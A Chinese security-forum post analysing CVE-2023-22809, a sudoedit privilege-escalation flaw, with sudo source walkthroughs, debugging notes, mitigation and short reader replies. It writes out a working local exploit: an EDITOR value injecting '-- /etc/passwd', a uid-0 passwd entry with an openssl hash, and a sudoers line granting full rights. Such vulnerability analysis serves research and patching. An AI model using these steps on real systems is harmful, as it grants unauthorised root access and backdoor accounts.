首页
社区
课程
招聘
[原创]CVE-2023-22809 sudo提权漏洞
发表于: 2023-5-16 19:02 34253

[原创]CVE-2023-22809 sudo提权漏洞

2023-5-16 19:02
34253

使用sudo --version查看当前系统下sudo版本

若在1.8.0-1.9.12p1范围内,则可以直接用本机环境复现,但是为了便于调试(获取符号信息)我们需要编译一份debug版本的sudo

首先到https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz下载固定版本的sudo,然后下载好后在压缩包对应目录下执行下列命令:

编译成功后,我们调试的sudo程序就是有符号信息的了,编译后的sudo 位于/usr/local/bin文件夹内

调试过程可能会遇到sudo报错的问题,这个报错是由于gdb没有sudo模式下运行

然而如果直接sudo gdb,则又不会加载pwndbg插件

sudo命令不会加载个人配置文件(或者说继承当前的环境变量)而直接运行gdb,使用-E选项将当前环境变量传递给sudo命令就能成功加载pwndbg插件

图片描述

搭建好环境后,测试一下漏洞

首先创建/etc/test,然后编辑/etc/sudoers,在文件末尾添加(user为攻击者用户名)

这一步是为了满足攻击条件,具体原因会在下面分析提到

然后在命令行中输入

/path/to/file可以是任意文件,常见的提权有:修改/etc/shadow为空密码(但我本地未能成功,不清楚为啥)、修改/etc/passwd中root为用户名、修改/etc/sudoers规定用户X可以无密码执行任何操作,具体不再赘述

以修改/etc/shadow为例

先用openssl生成密码

然后修改/etc/passwd,添加

最后su xxx 然后输入密码123就可以提权了

完成提权

先来看漏洞怎么走到触发位置的,首先关注main函数,sudo在main函数中进入parse_args函数解析sudo的启动参数,然后将返回值传入sudo_mode

sudo_mode是parse_args的返回值,根据参数解析相应的模式,这个值决定下面的switch语句中进入哪个分支

parse_args首先会检测执行程序名称的长度,如果长度大于4且后四个字母为edit,则将mode设置为MODE_EDIT,然后通过getopt_long函数解析命令行参数以及转换到“sudo_settings”结构体中,这个函数是getopt函数的一个扩展,可以处理长选项和可选参数,返回值是当前选项的字符代码;进入到switch分支,并根据选项设置相应的标志位

长选项(long options)是一种长的命令行标志,通常由两个减号(--)和一个带有描述性名称的单词组成。例如,--file 是一个长选项

长选项通常用于指定程序的一些高级选项,比如输出目录、日志文件、配置文件等。

短选项(short options)是一种用于在命令行中指定程序选项的方式。通常由单个字符组成,并且在前面加上一个破折号(-)。例如,-h 是一个短选项,它可能用于显示程序的帮助信息。

短选项通常用于指定程序的一些基本选项,比如输出格式、日志级别、文件名等。它们通常很容易记忆,因为它们只有一个字符,并且在命令行中很常见。

长选项和短选项通常可以接参数

主要关注会在下面的分析或exploit中用到的这几个参数:

解析参数和设置模式后返回到main函数,由于sudo_mode已设置为MODE_EDIT,会执行policy_check函数

来看看policy_check函数的源码

可以发现他实际上会通过虚表来调用check_policy,这里虚表的载入实际上是通过load_plugins等函数加载函数表到sudoers_policy结构体中,还与sudoers.so有关,具体过程比较复杂,我们可以直接在gdb里下断点到policy_check函数,然后单步步过到这个位置,然后看一下具体是哪个函数

通过调试发现实际上调用的是sudoers_policy_check函数

sudoers_policy_check函数将存储命令行参数、用户环境变量和命令信息等放到exec_args结构体中,然后调用sudoers_policy_main函数

在sudoers_policy_main函数首先调用sudoers_lookup函数,主要功能是读取sudoers文件的内容并验证用户是否有权限执行命令,这也是此漏洞的攻击条件之一,如果没有权限会无法绕过sudoers_lookup函数。

图片描述

在解析sudoers文件时,该函数将检查用户是否属于允许执行该命令的用户组,以及该命令是否被列入sudoers文件中。如果用户没有权限执行该命令,则该函数将返回false,否则将返回true,并将命令状态存储在cmnd_status变量中。但是在经过了sudoers_lookup函数的检查后,如果以"-e"模式运行,则调用find_editor函数,这个函数会重写已经检查过的命令。这个逻辑是一个很危险的操作,因为一旦经过了权限验证,所执行的命令就不应当被修改。

下面我们看看find_editor函数

find_editor函数首先检查是否存在SUDO_EDITOR、VISUAL、EDITOR这三个环境变量,对于每个环境变量如果存在则调用resolve_editor,resolve_editor是解析路径和命令的函数。

图片描述

通过调试,可以看到此时环境变量EDITOR已经被我们注入为’vim — /etc/passwd’

resolve_editor

首先接收参数(环境变量ed、文件数量nfiles、文件列表files、允许列表allowlist),然后通过wordsplit和copy_arg计算参数数量并解析到nargv数组中,为了解释字符串是怎样被解析的,这个过程结合调试来演示

第一次wordsplit和copy_arg,长度为3,这一步是拷贝了编辑器的名称

然后通过getenv获取环境变量PATH的值,接着通过find_path获取vim的路径

这一部分完成了对编辑器的解析。

接着走到第一个for循环里,从编辑器名称(vim)后的字符串直接开始,通过wordsplit来计算参数(nargc)的数量

并且如果nfiles不为0(nfiles与sudo的命令行参数数量有关),就会将参数的数量加一,然后根据参数数量申请对应大小的空间(nfiles即要编辑的文件数量)。

第二个for循环则是把参数拷贝到nargv数组中

在拷贝结束后会判断要编辑的文件数量是否为0,如果不为0,则程序会往要编辑的文件前注入两个破折号,并且在之后将要编辑的文件名拷贝到nargv数组,这两个破折号相当于标记的作用,标记后面的内容为要编辑的文件名,但此时环境变量是在此之前拷贝的,’vim — /etc/passwd’ 此时已经拷贝到nargv数组中,在此之后拷贝了程序注入的’ — ‘以及文件名,于是这个命令就被解析为vim — /etc/passwd — /etc/test

最后nargv和nargc会拷贝到argc_out和argv_out中,这两个变量会用于接下来的sudo_edit。

nargv是一个char **的数组,可以看到已被解析为vim — /etc/passwd — /etc/test(这里的nargv[3]由于位于可执行段上会被识别为指令,但其实仍然指向’—’这个字符串)

最后一步:sudo_edit

sudoedit首先设置了ROOT权限和临时可写目录,由于此时已经是root权限,当走到这一步就可以做到任意文件编辑,重点关注这几行行代码

首先设置权限为root权限,这一步完成了提权,在这之后会设置一个临时的可写目录(这个临时可写目录是为了保持写入过程中的稳定性,简单的说就是会在tmp下面写一个文件,写完后会拷贝到原本要写的文件中去);


调试中可以看到uid为0,为超级用户

然后走到strcmp函数时,最终的命令行参数与--比较,如果相同则将之后的内容视为要编辑的文件名,指令rep cmpsb用于比较两个内存区域的数据内容是否相同,在这里就是比较命令行参数是否为'--'

根据上文对resolve_editor函数的分析,环境变量的额外参数没有对用户输入的内容进行过滤,假如我们在额外参数中注入一个-- file,这些额外参数最终会被解析到command_details->argv中,然后通过strcmp比较将--之后的内容视为要编辑的文件,并且file的路径和文件名也是用户可控的,由于此时已经设置了root权限,所以我们编辑某些敏感文件如/etc/passwd也是没问题的,有了任意文件编辑之后,实现提权也就是分分钟的事情了。

看过上面的分析,exploit其实很好写,首先我们需要一个sudoedit的权限,这个权限可以通过编辑/etc/sudoers来实现(不得不吐槽一下这个条件有点奇葩),然后在环境变量里注入EDITOR如'vim -- file' file为要编辑的路径及文件名并执行sudoedit,最后通过编辑/etc/sudoers敏感文件提权

sudoers和passwd文件介绍如下

/etc/sudoers是Unix和Linux系统上的一个文件,它包含了授权用户或组以root或其他特权用户身份运行命令的规则。sudoers文件通常只能由系统管理员或具有特权的用户进行编辑。

当用户使用sudo命令时,系统会检查/etc/sudoers文件中的规则,以确定用户是否被授权运行指定的命令或脚本。这些规则可以指定哪些用户或组可以使用sudo,以及在哪些主机上、以哪种方式、运行哪些命令或脚本可以使用sudo。

sudoers文件的规则语法有点复杂,建议在编辑sudoers文件之前备份好文件,并使用专门的工具(如visudo)进行编辑,以避免语法错误或安全问题。

/etc/passwd是Linux系统中的一个文件,它包含了所有用户账号的信息。每一行代表一个用户账号,由7个字段组成,字段之间用冒号分隔。这7个字段的含义分别是:

exp

首先检查当前系统上的sudo版本是否存在安全漏洞,如果不是,则退出。如果是,则检查当前用户是否可以通过sudoedit以root权限运行命令。如果当前用户无法以root权限运行sudoedit,则脚本会提示用户是否要继续进行提权攻击。如果用户可以以root权限运行sudoedit,则脚本将显示一条消息,告诉用户将特定行添加到sudoers文件中。最后,脚本将打开sudoers文件以便用户添加此行。

使用 sudo -l 命令列出当前用户的sudo权限。

使用 grep -E "sudoedit|sudo -e" 过滤出能够运行 sudoedit 命令或者 sudo -e 命令的权限。

使用 grep -E '(root)|(ALL)|(ALL : ALL)' 过滤出其中包含 (root) 或者 (ALL) 或者 (ALL : ALL) 的权限。

使用 cut -d ')' -f 2- 命令删除每行开头的括号和空格,只保留每行的命令参数。

如果无法以root权限运行sudoedit,则不满足CVE-2023-22809的利用条件;

如果有权限,则会提示接下来的payload会任意文件编辑打开sudoers文件,攻击者在/etc/sudoers文件里添加$USER ALL=(ALL:ALL) ALL,该命令表示用户$USER可以运行任意命令,而不需要输入密码,接着注入EDITOR,EDITOR中—后面的,最后运行sudo su root实现提权

只需把受影响的环境变量添加到拒绝列表中

 
 
 
wget https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz
tar -zxvf ./sudo-1.9.12p1.tar.gz
cd sudo-1.9.12p1/
./configure && make && make install
wget https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz
tar -zxvf ./sudo-1.9.12p1.tar.gz
cd sudo-1.9.12p1/
./configure && make && make install
 
 
 
 
 
sudo -E gdb /usr/local/bin/sudo
sudo -E gdb --args /usr/local/bin/sudo ...
sudo -E gdb /usr/local/bin/sudo
sudo -E gdb --args /usr/local/bin/sudo ...
 
user ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/test
user ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/test
 
EDITOR='vim -- /path/to/file' sudoedit /etc/test
EDITOR='vim -- /path/to/file' sudoedit /etc/test
 
 
x@x-virtual-machine:~$ openssl passwd -1 -salt xxx 123
$1$xxx$jTt7t9bGmhywOtQCjcQA.1
x@x-virtual-machine:~$ openssl passwd -1 -salt xxx 123
$1$xxx$jTt7t9bGmhywOtQCjcQA.1
xxx:$1$xxx$jTt7t9bGmhywOtQCjcQA.1:0:0:root:/root:/bin/bash
xxx:$1$xxx$jTt7t9bGmhywOtQCjcQA.1:0:0:root:/root:/bin/bash
 
 
int
main(int argc, char *argv[], char *envp[])
{
    int nargc, status = 0;
    char **nargv, **env_add;
    char **command_info = NULL, **argv_out = NULL, **run_envp = NULL;
    const char * const allowed_prognames[] = { "sudo", "sudoedit", NULL };
    ......
    submit_argv = argv;
    submit_envp = envp;
    sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv,
        &sudo_settings, &env_add);
}
int
main(int argc, char *argv[], char *envp[])
{
    int nargc, status = 0;
    char **nargv, **env_add;
    char **command_info = NULL, **argv_out = NULL, **run_envp = NULL;
    const char * const allowed_prognames[] = { "sudo", "sudoedit", NULL };
    ......
    submit_argv = argv;
    submit_envp = envp;
    sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv,
        &sudo_settings, &env_add);
}
int
parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,
    struct sudo_settings **settingsp, char ***env_addp)
{
    const char *progname, *short_opts = sudo_short_opts;
    struct option *long_opts = sudo_long_opts;
    struct environment extra_env;
    int mode = 0;                /* what mode is sudo to be run in? */
    int flags = 0;                /* mode flags */
    int valid_flags = DEFAULT_VALID_FLAGS;
    int ch, i;
    char *cp;
    debug_decl(parse_args, SUDO_DEBUG_ARGS);
 
    /* Is someone trying something funny? */
    if (argc <= 0)
        usage();
 
    /* The plugin API includes the program name (either sudo or sudoedit). */
    progname = getprogname();
    sudo_settings[ARG_PROGNAME].value = progname;
 
    /* First, check to see if we were invoked as "sudoedit". */
    if (strcmp(progname, "sudoedit") == 0) {
        mode = MODE_EDIT;
        sudo_settings[ARG_SUDOEDIT].value = "true";
        valid_flags = EDIT_VALID_FLAGS;
        short_opts = edit_short_opts;
        long_opts = edit_long_opts;
    }
    ......
if ((ch = getopt_long(argc, argv, short_opts, long_opts, NULL)) != -1) {
            switch (ch) {
            ......
            case 'E':
                    /*
                     * Optional argument is a comma-separated list of
                     * environment variables to preserve.
                     * If not present, preserve everything.
                     */
                    if (optarg == NULL) {
                        sudo_settings[ARG_PRESERVE_ENVIRONMENT].value = "true";
                        SET(flags, MODE_PRESERVE_ENV);
                    } else {
                        parse_env_list(&extra_env, optarg);
                    }
                    break;
                case 'e':
                    if (mode && mode != MODE_EDIT)
                        usage_excl();
                    mode = MODE_EDIT;
                    sudo_settings[ARG_SUDOEDIT].value = "true";
                    valid_flags = EDIT_VALID_FLAGS;
                    break;
            ......
            case 'l':
                    if (mode) {
                        if (mode == MODE_LIST)
                            SET(flags, MODE_LONG_LIST);
                        else
                            usage_excl();
                    }
                    mode = MODE_LIST;
                    valid_flags = LIST_VALID_FLAGS;
                    break;
                    if (!mode) {
        /* Defer -k mode setting until we know whether it is a flag or not */
        if (sudo_settings[ARG_IGNORE_TICKET].value != NULL) {
            if (argc == 0 && !ISSET(flags, MODE_SHELL|MODE_LOGIN_SHELL)) {
                mode = MODE_INVALIDATE;        /* -k by itself */
                sudo_settings[ARG_IGNORE_TICKET].value = NULL;
                valid_flags = 0;
            }
        }
        if (!mode)
            mode = MODE_RUN;                /* running a command */
    }
int
parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,
    struct sudo_settings **settingsp, char ***env_addp)
{
    const char *progname, *short_opts = sudo_short_opts;
    struct option *long_opts = sudo_long_opts;
    struct environment extra_env;
    int mode = 0;                /* what mode is sudo to be run in? */
    int flags = 0;                /* mode flags */
    int valid_flags = DEFAULT_VALID_FLAGS;
    int ch, i;
    char *cp;
    debug_decl(parse_args, SUDO_DEBUG_ARGS);
 
    /* Is someone trying something funny? */
    if (argc <= 0)
        usage();
 
    /* The plugin API includes the program name (either sudo or sudoedit). */
    progname = getprogname();
    sudo_settings[ARG_PROGNAME].value = progname;
 
    /* First, check to see if we were invoked as "sudoedit". */
    if (strcmp(progname, "sudoedit") == 0) {
        mode = MODE_EDIT;
        sudo_settings[ARG_SUDOEDIT].value = "true";
        valid_flags = EDIT_VALID_FLAGS;
        short_opts = edit_short_opts;
        long_opts = edit_long_opts;
    }
    ......
if ((ch = getopt_long(argc, argv, short_opts, long_opts, NULL)) != -1) {
            switch (ch) {
            ......
            case 'E':
                    /*
                     * Optional argument is a comma-separated list of
                     * environment variables to preserve.
                     * If not present, preserve everything.
                     */
                    if (optarg == NULL) {
                        sudo_settings[ARG_PRESERVE_ENVIRONMENT].value = "true";
                        SET(flags, MODE_PRESERVE_ENV);
                    } else {
                        parse_env_list(&extra_env, optarg);
                    }
                    break;
                case 'e':
                    if (mode && mode != MODE_EDIT)
                        usage_excl();
                    mode = MODE_EDIT;
                    sudo_settings[ARG_SUDOEDIT].value = "true";
                    valid_flags = EDIT_VALID_FLAGS;
                    break;
            ......
            case 'l':
                    if (mode) {
                        if (mode == MODE_LIST)
                            SET(flags, MODE_LONG_LIST);
                        else
                            usage_excl();
                    }
                    mode = MODE_LIST;
                    valid_flags = LIST_VALID_FLAGS;
                    break;
                    if (!mode) {
        /* Defer -k mode setting until we know whether it is a flag or not */
        if (sudo_settings[ARG_IGNORE_TICKET].value != NULL) {
            if (argc == 0 && !ISSET(flags, MODE_SHELL|MODE_LOGIN_SHELL)) {
                mode = MODE_INVALIDATE;        /* -k by itself */
                sudo_settings[ARG_IGNORE_TICKET].value = NULL;
                valid_flags = 0;
            }
        }
        if (!mode)
            mode = MODE_RUN;                /* running a command */
    }
 
switch (sudo_mode & MODE_MASK) {
......
case MODE_EDIT:
     case MODE_RUN:
         if (!policy_check(nargc, nargv, env_add, &command_info, &argv_out,
                 &run_envp))
          ......
         /* The close method was called by sudo_edit/run_command. */
         break;
switch (sudo_mode & MODE_MASK) {
......
case MODE_EDIT:
     case MODE_RUN:
         if (!policy_check(nargc, nargv, env_add, &command_info, &argv_out,
                 &run_envp))
          ......
         /* The close method was called by sudo_edit/run_command. */
         break;
static bool
policy_check(int argc, char * const argv[], char *env_add[],
    char **command_info[], char **run_argv[], char **run_envp[])
{
    const char *errstr = NULL;
    int ok;
    debug_decl(policy_check, SUDO_DEBUG_PCOMM);
 
    if (policy_plugin.u.policy->check_policy == NULL) {
        sudo_fatalx(U_("policy plugin %s is missing the \"check_policy\" method"),
            policy_plugin.name);
    }
    ......
}
static bool
policy_check(int argc, char * const argv[], char *env_add[],
    char **command_info[], char **run_argv[], char **run_envp[])
{
    const char *errstr = NULL;
    int ok;
    debug_decl(policy_check, SUDO_DEBUG_PCOMM);
 
    if (policy_plugin.u.policy->check_policy == NULL) {
        sudo_fatalx(U_("policy plugin %s is missing the \"check_policy\" method"),
            policy_plugin.name);
    }
    ......
}
 
 
static int
sudoers_policy_check(int argc, char * const argv[], char *env_add[],
    char **command_infop[], char **argv_out[], char **user_env_out[],
    const char **errstr)
{
    ......
    struct sudoers_exec_args exec_args;
    int ret;
    ......
     if (ISSET(sudo_mode, MODE_EDIT))
        valid_flags = EDIT_VALID_FLAGS;
    else
        SET(sudo_mode, MODE_RUN);
    ......
    exec_args.argv = argv_out;
    exec_args.envp = user_env_out;
    exec_args.info = command_infop;
 
    ret = sudoers_policy_main(argc, argv, 0, env_add, false, &exec_args);
    ......
}
static int
sudoers_policy_check(int argc, char * const argv[], char *env_add[],
    char **command_infop[], char **argv_out[], char **user_env_out[],
    const char **errstr)

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2023-5-18 19:33 被CatF1y编辑 ,原因: 有一张图贴错位置了
收藏
免费 27
支持
分享
打赏 + 1.00雪花
打赏次数 1 雪花 + 1.00
 
赞赏  wx_余人   +1.00 2023/05/24
最新回复 (15)
雪    币: 1217
活跃值: (3382)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
2
猫哥我的神
2023-5-16 19:06
0
雪    币: 221
活跃值: (358)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
手机为啥复现不了cve啊,猫哥教我
2023-5-16 19:22
0
雪    币: 14530
活跃值: (17548)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
4
感谢分享
2023-5-19 16:48
0
雪    币: 1651
活跃值: (1425)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
5
能在安卓手机获取root权限吗?
2023-5-20 14:30
0
雪    币: 134
活跃值: (8234)
能力值: ( LV13,RANK:438 )
在线值:
发帖
回帖
粉丝
6
猫哥我的神
2023-5-20 15:32
0
雪    币: 3090
活跃值: (30881)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
感谢分享
2023-5-20 16:13
1
雪    币: 1221
活跃值: (1157)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
8
猫哥我的神
2023-5-21 10:23
0
雪    币: 2267
活跃值: (1523)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
9
lxsgbin 能在安卓手机获取root权限吗?
这个没试过
2023-5-21 16:57
0
雪    币: 1651
活跃值: (1425)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
10
手机没有sudo程序,我没发现
2023-5-21 17:15
0
雪    币: 4
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
11

感谢分享

最后于 2023-5-24 20:29 被偏安一隅编辑 ,原因:
2023-5-24 20:23
0
雪    币: 277
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
12
2023-5-25 09:24
1
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
13
大佬 研究一下android行吗
2023-5-29 02:10
0
雪    币: 262
活跃值: (758)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
14
2024-2-1 10:59
0
雪    币: 31
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
15
大佬,看了下流程,请问是要有sudo权限并且输入密码才可以吧
2024-3-22 11:08
0
游客
登录 | 注册 方可回帖
返回
//